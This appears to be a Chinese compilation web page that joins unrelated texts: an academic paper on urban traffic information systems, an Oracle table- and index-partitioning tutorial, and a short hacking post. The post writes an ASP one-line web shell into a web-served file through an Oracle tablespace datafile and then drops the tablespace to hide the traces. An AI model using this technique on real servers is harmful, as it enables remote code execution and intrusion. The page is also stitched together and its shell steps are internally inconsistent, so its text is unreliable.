SOCRATES是一种有效发挥传统的蜂窝无线电话的基础设施(地面站)的作用,使交通指挥中心与行驶中车辆进行双向通信的系统,它的下行线路可通过“广播方式”向行驶在各种地面站的网络内的装有SOCRATES车载装置的车辆提供道路交通状况的详细数字信息。上行线路利用多频存取协议经过基地台向交通指挥中心发送信息。
EURO SCOUT是以红外线信标为媒体的动态路线引导系统。车辆和信标间的红外线通信是双向进行的,汽车就变为一个探头,将旅行时间、排队等候时间及OD信息等交通信息数据传输给中央引导计算机。
Trafficmaster是以伦敦为中心的广范围高速公路使用的系统,采用传呼机网络提供交通信息。收集高速公路交通状况数据的传感器向前后方向发出2条红外线光束,并根据各光速在车上的反射波时间差检测车辆的速度。
2.2 美国的代表性系统
美国的代表性系统有:TRAVTEK、ADVANCE、FASTTRAC。
TRAVTEK以实时路线引导和服务信息系统实用化为目的,由交通管理中心、信息与服务中心、装有导航装置的车辆组成。交通管理中心进行道路交通信息的收集、管理及提供,同时还进行系统运行所必需的信息管理和提供;信息服务中心收集观光设施、旅馆、饭店等为对象的各种服务信息;车载导航装置由车辆位置测定、路线选择及接口3种功能构成,可显示交通堵塞地段、事故及施工等信息的奥兰多地区的地图、按驾驶员需要进行的路线引导及提供服务的文字信息等。
ADVANCE通过电波的双向通信直接将车载导航装置和交通管制中心连通,导航装置由接触式屏幕、显示器及导航计算机构成。一输入最终目的地便可利用最新交通信息计算最佳路线。路线引导是采用声音合成及用显示器上的符号指示的形式。
FASTTRAC是把先进交通管理系统(ATMS)和先进交通信息系统(ATIS)技术组合在一起的ITS项目,它计划进行使实验车辆与信息控制方式统一的试验,亦即根据车辆测量的等候时间等使信号控制和绿色信号实现最佳化。
2.3 日本的代表性系统
日本的代表性系统有VICS和ATIS。
VICS中心通过日本道路交通通信中心汇总交通管理者和道路管理者双方的交通信息。由VICS提供的信息有:交通堵塞信息、所需时间信息、交通障碍信息、交通管制信息和停车场信息5种。
ATIS是先进的交通信息服务系统,它的通信媒体是电话线路(无线、有线)。交通信息利用者通过车上装载的导航装置或自己家及办公室的微机,可按需要接收多媒体的地图信息和文字信息。
3.交通信息系统结构方案
信息系统的本质是通过高新技术的有效应用,使得对各种决策(包括交通战略决策、交通管理决策、交通方式及交通路线选择决策等)起到支持作用的信息和知识在系统中有效流通,提高决策的科学性,引导合理的交通行为,达到最大限度地发挥已有交通设施潜力的目的。
为了实现智能化控制交通的要求,收集相关的实时可靠的交通信息是交通信息系统的前提和基础,然后根据不同
交通管理与控制的目的和要求,进一步分析、传递、提供信息。信息流程见图1。图1 信息流程图
出行者所关注的信息大致包括3个方面:对“出发前”移动计划有效的信息、对“驾驶中”在道路上移动过程中有益的信息以及对“换乘”火车、客车、民航或轮船等提供乘车方便的信息。
依据出行者的信息需求以及交通管理者和物流业者在经营管理方面的需求,结合中国在行政管理方面的实际情况,确定了交通信息系统结构见图2。
城市交通信息系统包括一个中心即交通信息中心,交通管理、电子收费、交通诱导、交通信息服务、地理信息、紧急救援、营运车辆管理、车辆安全辅助驾驶八个子系统以及道路交通管理和车辆管理两个数据库。交通信息系统各子系统功能结构见图3。
篇7:城市交通信息系统结构方案研究
图3 交通信息系统各子系统功能结构
交通管理子系统主要由交通指挥中心提供通过采集的路段、交叉口、高架交通以及城市出入口的基础数据组织而成的信息。营运车辆管理子系统包括公交和物流管理,公交管理涵盖出租车和公交车辆的管理,物流管理包含货运和租赁车管理。紧急救援子系统包括一般性的事故报警以及特殊情况的灾害救助。诱导系统含有路径诱导和停车诱导。部分子系统采集的信息将提供给整个系统共享,通过提供历史数据和实时可供预测的信息,用以支持出行决策的制定,系统实时地通过网络查询对公众发布交通信息,向各种媒体发布诱导信息。
系统的结构为分布与集中相结合,各子系统分布相对平等,交通信息中心拥有信息整合的共用信息平台。各子系统完成数据采集、局部运行管理、共享信息整合等项任务。
城市交通信息系统的建设可分阶段进行,条件相对成熟的部门可优先发展,建成示范工程,推动其它部门发展。同时,交通信息系统的实用化进程需要各子系统所涉及的各个部门之间通力合作,实现系统的优化建设与运行。系统设计不但要重视系统核心的研究开发,而且要重视与各子系统之间的相互衔接关系,资源共享是交通信息系统的命脉。人类的生活离不开交通,在以人为本的交通规划、管理与设计中,综合运用现代信息与通讯技术等手段提高交通运输的效率是必由之路。交通信息系统在确定了基本结构之后,需要通过进一步的系统设计后,加以实施。
4.交通信息系统的主要媒体和特点
城市交通信息系统中可传递信息的媒体主要特点见表1。
表1 交通信息系统利用的主要媒体和特点
5.结论
城市交通信息系统必将在今后真正的高度信息通信社会中占有一席之地,交通信息系统也必将在实现高效舒适的交通社会中发挥重要作用。城市交通信息系统未来的实施,必将在居民出行、事故和灾害救援以及货物流通等方面带来更大的便利,同时,在交通管理方面更加有的放矢、标本兼治,在减少交通出行、降低交通量、减少阻塞、减轻污染、提高服务水平等增加社会和经济效益方面也将起到巨大的作用。
参考文献:
1.黄卫,陈里德.智能运输系统(ITS)概论.北京:人民交通出版社,
2.[日]社团法人 交通工学研究会.智能交通系统. 北京:人民交通出版社,
3.史其信.21世纪智能交通系统(ITS)展望.哈尔滨:交通工程通讯,
4.ITS通讯.交通信息服务系统.北京:清华大学交通研究所,2000
5.William A.Perez,Gary A.Golembiewski,Deborah Dennard.Professed Willingness to Pay
for Travtek Features.IEEE-IEE Vehicle Navigation & Information Systems Conference.1993
6.Jan Hellaker, AB Volvo,Christer Palmgren,Seppo Turunen.Real-time Traveller Information in everyone¢s pocket?!a pilot test using hand-portable GSM terminals. IEEE-IEE Vehicle Navigation & Information Systems Conference.1993
7.Suvrajeet Sen,Rekha Pillai,Shirish Joshi,Ajay K.Rathi.A Mean-Variance Model for Route Guidance in Advanceed Traveler Information Systems.
Transportation Science.2001,35(1)
8.Hani S.Mahmassani,Yu-Hsin Liu. Dynamics of commuting decision behaviour under advanced traveler information
systems. Transportation Research Part C. 1999,7C(7)
Urban Traffic Information System Architecture Project Research
Yulong PEI Yu ZHANG
(College of Transportation Science and Engineering ,Harbin Institute of Technology ,Harbin,150090)
Abstract:A
dvanced Travellers Information System (ATIS) is an important component of IntelligentTransportation Systems (ITS) .The research content mentioned in this paper is the
architecture project of ATIS in China. This paper analyzes the state of domestic
development of ATIS and summarizes international results in this field. Based on the
summary, this paper proposes the urban traffic information system architecture
project (UTISAP) suitable for the administerial management situation of China. The
UTISAP includes a traffic information center, eight subsystems and two databases. Eight
subsystems&nb sp;comprise traffic management, ETC, TFGS, traffic information service,
GIS, EMS, CVOS and AHS. Two databases comprise the aspects of road traffic
management and vehicles management. And the traffic information center is the core.
Finally, the paper forecasts the positive impact after the application of UTISAP.
Keywords:ITS; urban;ATIS;architecture project
篇8:Oracle分区之四:分区维护和管理
一,分区表的相关实验
创建一个列表分区表
create table t3(id number,city varchar2(10))
partition by list(city)
(
partition p1 values ('SH','JS','ZJ') ,
partition p2 values ('BJ','TJ','HB') ,
partition p3 values ('GZ','SZ') ,
partition p_others values (default)
);
create or replace procedure proc1
as
begin
for i in 1..1000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'SH';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 1001..2000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'JS';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 2001..3000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'ZJ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 3001..4000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'BJ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 4001..5000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'TJ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 5001..6000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'GZ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 6001..7000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'HB';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 7001..8000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'SZ';
end loop;
end;
/
exec proc1
create or replace procedure proc1
as
begin
for i in 8001..10000
loop
execute immediate
'INSERT INTO T3 values(:x,:y)' USING i,'AH';
end loop;
end;
/
exec proc1
SQL>SET linesize 200
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验一(SPLIT 分区)
alter table t3 split partition p1 values ('JS') into
(partition p1_1,partition p1_2);
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1_1 0
T3 HR P1_2 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验二(merge 分区)
alter table t3 merge partitions p1_1,p1_2 into partition p1;
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验三、
alter table t3 split partition p2 values ('BJ','TJ') into
(partition p2_1,partition p2_2);
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2_1 0
T3 HR P2_2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验四、
alter table t3 merge partitions p2_1,p2_2 into partition p2;
SQL>select TABLE_NAME, TABLE_OWNER, PARTITION_NAME, SUBPARTITION_COUNT from dba_tab_partitions where table_name='T3';
TABLE_NAME TABLE_OWNER PARTITION_NAME SUBPARTITION_COUNT
------------------------------ ------------------------------ ------------------------------ ------------------
T3 HR P1 0
T3 HR P2 0
T3 HR P3 0
T3 HR P_OTHERS 0
实验五( 向分区某个分区里增加个分区列值)
SQL>alter table t3 modify partition p3 add values('ZQ');
Table altered.
二,分区索引的相关实验
实验六(创建索引分区)
create index idx_t3 on t3(id)
global partition by range(id)
(
partition p1 values less than (1000),
partition p2 values less than (maxvalue)
);
drop index idx_3
create index idx_t3 on t3(id)
global partition by hash(id)
partitions 4;
create table tt2(id number,createdate date)
partition by range(createdate)
subpartition by hash(id) subpartitions 2
(
partition p1 values less than (to_date('-07-01','yyyy-mm-dd')),
partition p2 values less than (to_date('-01-01','yyyy-mm-dd'))
);
create table tt4(id number,name varchar2(10))
partition by range(name)
(
partition p1 values less than ('h'),
partition p2 values less than ('o')
);
create index idx_tt4 on tt4(id) local;
drop indexe idx_tt4 ;
create index idx_tt4 on tt4(id)
global partition by range(id)
(
partition p1 values less than (1000),
partition p2 values less than (maxvalue)
);
SQL>SET LINESIZE 200
SQL>select INDEX_OWNER, INDEX_NAME,PARTITION_NAME FROM dba_Ind_Partitions where index_name='IDX_TT4';
INDEX_OWNER INDEX_NAME PARTITION_NAME
------------------------------ ------------------------------ ------------------------------
HR IDX_TT4 P1
HR IDX_TT4 P2
alter index idx_tt4 split partition p2 at (2000) into
(partition p3,partition p_max);
SQL>select INDEX_OWNER, INDEX_NAME,PARTITION_NAME FROM dba_Ind_Partitions where index_name='IDX_TT4';
INDEX_OWNER INDEX_NAME PARTITION_NAME
------------------------------ ------------------------------ ------------------------------
HR IDX_TT4 P1
HR IDX_TT4 P3
HR IDX_TT4 P_MAX
三,分区表交换的相关实验
Exchange partition提供了一种方式,让你在表与表或分区与分区之间迁移数据,注意不是将表转换成分区或非分区的形式,而仅只是迁移表中数据(互相迁移),
由于其号称是采用了更改数据字典的方式,因此效率最高(几乎不涉及io操作),
Oracle分区之四:分区维护和管理
,
Exchange partition适用于所有分区格式,你可以将数据从分区表迁移到非分区表,
也可以从非分区表迁移至分区表,或者从hash partition到range partition诸如此类。
其语法:alter table tbname1 exchange partition/subpartition ptname with table tbname2;
注意:在将未分区表的数据迁移到分区表中时,可能出现ora-14099的错误,虽然可以用without validation去解决,但是此时进入分区表的数据可能不符合分区规
则。所以without validation一定要慎用。
a,涉及交换的两表之间表结构必须一致,除非附加with validation子句;
b,如果是从非分区表向分区表做交换,非分区表中的数据必须符合分区表中指定分区的规则,除非附加without validation子句;
c,如果从分区表向分区表做交换,被交换的分区的数据必须符合分区规则,除非附加without validation子句;
d,Global索引或涉及到数据改动了的global索引分区会被置为unusable,除非附加update indexes子句。
注意:
一旦附加了without validation子句,则表示不再验证数据有效性,因此指定该子句时务必慎重。
创建一个交换分区的普通heap表
SQL>create table exchange_t3(id number,city varchar2(10));
Table created.
SQL>select distinct city from t3 partition (p2);
CITY
----------
TJ
BJ
HB
查看下P2分区有records
SQL>select count(*) from t3 partition (p2);
COUNT(*)
----------
3000
下面是分区表和普通HEAP表交换
alter table t3
exchange partition p2
with table exchange_t3
including indexes
without validation;
验证下数据,和上面的P2分区数据一致。
SQL>select count(*) from exchange_t3;
COUNT(*)
----------
3000
SQL>select distinct city from exchange_t3;
CITY
----------
TJ
BJ
HB
四,一个实际应用的例子的相关实验
创建一个分区表,只保留最近2年的财务数据。
create table ware(wareyear varchar2(4),id number)
partition by range (wareyear)
(
partition p_ values less than(''),
partition p_2006 values less than(''),
partition p_max values less than(maxvalue)
);
创建索引
create index idx_ware_id on ware(id)
global partition by range(id)
(
partition p_id_10000 values less than(10000),
partition p_id_max values less than(maxvalue)
);
create index idx_ware_wareyear on ware(wareyear) local;
插入测试数据
insert into ware select '2005',object_id from dba_objects;
insert into ware select '2006',object_id from dba_objects;
commit;
年终,归档最早的数据,并加入新财年的数据
create table ware_2007(wareyear varchar2(4),id number);
create index idx_ware_2007 on ware_2007(wareyear);
insert into ware_2007 select '2007',object_id from dba_objects;
commit;
alter table ware split partition p_max
at ('') into (partition p_2007, partition p_max);
将p_2007分区放入ware_2007表里
alter table ware exchange partition p_2007
with table ware_2007
including indexes
without validation;
create table ware_2005(wareyear varchar2(4),id number);
create index idx_ware_2005 on ware_2005(wareyear);
alter table ware exchange partition p_2005
with table ware_2005
including indexes
without validation;
删除p_2005分区
alter table ware drop partition p_2005;
导出做归档
[oracle@even admin]$ exp hr/hr@test file=/home/oracle/ware_2005.dmp tables=ware_2005 compress=n
Export: Release 10.2.0.1.0 - Production on Fri Jan 18 05:10:42
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Production
With the Partitioning, Oracle Label Security, OLAP and Data Mining options
Export done in US7ASCII character set and AL16UTF16 NCHAR character set
server uses AL32UTF8 character set (possible charset conversion)
About to export specified tables via Conventional Path ...
. . exporting table WARE_2005 50439 rows exported
Export terminated successfully without warnings.
然后删除表
drop table ware_2005;
五,表和索引的维护的常见SQL语句及注意事项
对于分区索引,不能整体进行重建,只能对单个分区进行重建(也就是物理存在的分区)。语法如下:
Alter index idx_name rebuild partition index_partition_name [online nologging]
Alter Index IndexName Rebuild Partition P_Name;
有子分区的本地索引,不能重建某分区,只能对每个子分区进行重建
Alter Index Index_Name Rebuild subPartition P_Sub_Name;
脚本,重建所有unUsable的索引
Select 'alter index ' || Index_Name ||' rebuild;' From User_Indexes Where Status ='UNUSABLE' union
Select 'alter index ' || Index_Name ||' rebuild Partition '||Partition_Name ||';' From User_Ind_Partitions Where Status ='UNUSABLE' union
Select 'alter index ' || Index_Name ||' rebuild subPartition '||subPartition_Name ||';' From User_Ind_subPartitions Where Status ='UNUSABLE';
add parttion
Alter Table TestTab1 Add Partition P1 Values Less Than (0801);
1, 如果有子分区,且定义了子分区模板,所有的子分区会自动添加
2, 新加分区后,该区没有统计信息,全是空,如果表级不是global_satus,则表级的统计信息也会空
3, 新加分区后,如果表级统计是global_satus,还会出现out of range的问题(CBO估算的选择率很低)
4, 解决2,3问题的方法是:copy_table_stats
exec dbms_stats.copy_table_stats(user, tabname =>'TEST_TAB1', srcpartname =>'P_20120801', dstpartname =>'P_20100208');
tuncate and drop partition
truncate和drop可对有子分区的分区进行
ALTER TABLE TEST truncate Partition P_20120801;
ALTER TABLE TEST Drop Partition P_20120801;
它们会导致globl index的某些分区不可用,必须这样做
ALTER TABLE TEST truncate Partition P_20120801 update indexes;
ALTER TABLE TEST truncate Partition P_20120801update global indexes;
ALTER TABLE TEST Drop Partition P_20120801 update indexes;
ALTER TABLE TEST Drop Partition P_20120801 update global indexes;
move partition
有子分区的分区不能move,只能move每个子分区(也就是物理分区)
Alter Table TEST Move Partition P_20120801;
由于rowid变了,会导致所有相关索引unusable,必须这样做
Alter Table TEST Move subPartition P_20100730_P1 update indexes;
Alter Table TEST Move subPartition P_20100730_P2 update global indexes; --Local Index没有更新
split partion
语法:
alter table
split partition
at (
into (partition
, partition
)
[update [global] indexes];
1 可以对有子分区的分区进行,自动split子分区
2 由于rowid变了,新分区和global index都变为unusable
alter table t3 merge partitions p2_1,p2_2 into partition p2;
合并range分区
ALTER TABLE Test_Tab1
Merge Partitions P_20100715, P_20100731 Into Partition P_20100730
[Update [global] Indexes];
1. 该分区有子分区
2. 有子分区,也可以单独合并子分区merge subpartition
可以通过下面的视图获取分区的信息
dba_segments
dba_part_key_columns
dba_tables
dba_tab_partitions
dba_indexes
dba_ind_partitions
篇9:[Followme系列]之oracle得Shell
清雅风萍 天阳bbs.tian6.com首发
SQL>create tablespace kjtest datafile 'e:\website\kj.asp'
size 100k nologging ;
复制代码
这样就创建了Table 空间,
这里需要注意的是oracle的Table,最小单位是100K。
下面开始建表:
SQL>CREATE TABLE WEBSHELL(C varchar2(100)) tablespace tian6;
复制代码
这样表就建好了。
表的类型一般都是VARCHAR,因为table的空间很小,所以不能用CLOB 或者 BLOB
类型,
SQL>insert into WEBSHELL values('<%execute request(“tian6”)%>');
复制代码
写数据了。
SQL>commit;
复制代码
提交完毕。
提交完毕后会提示 OK? NO? 你要是点NO的话。。。
因为这个时候你的这些编辑都是属于离线编辑,需要同步后才能生效,所以还是点OK吧,你说呢?
SQL>alter tablespace tian6 offline;
复制代码
OK,到这一步为止你已经写进了WEBSHELL。
别忘记擦PP
SQL>drop tablespace tian6 including contents;
复制代码
以上的所有步骤必须建立在你知道网页路径的前提下哦 :)
★ 软件开题报告
★ erp计划书
【客户信息系统之Oracle方案(精选9篇)】相关文章:
暑期关于学习java实习报告2023-01-16
java的实习报告2023-07-31
销售简历项目经验范文2023-10-01
软件技术实习报告2023-08-04
企业采购员试用期总结2022-11-11
ui简历项目经验怎么写合理2023-04-11
校园管理系统毕业论文2022-05-07
CRM的选型参考案例2024-03-05
BtoB电子商务的三种解决方案2022-06-24
java简历表格2022-09-18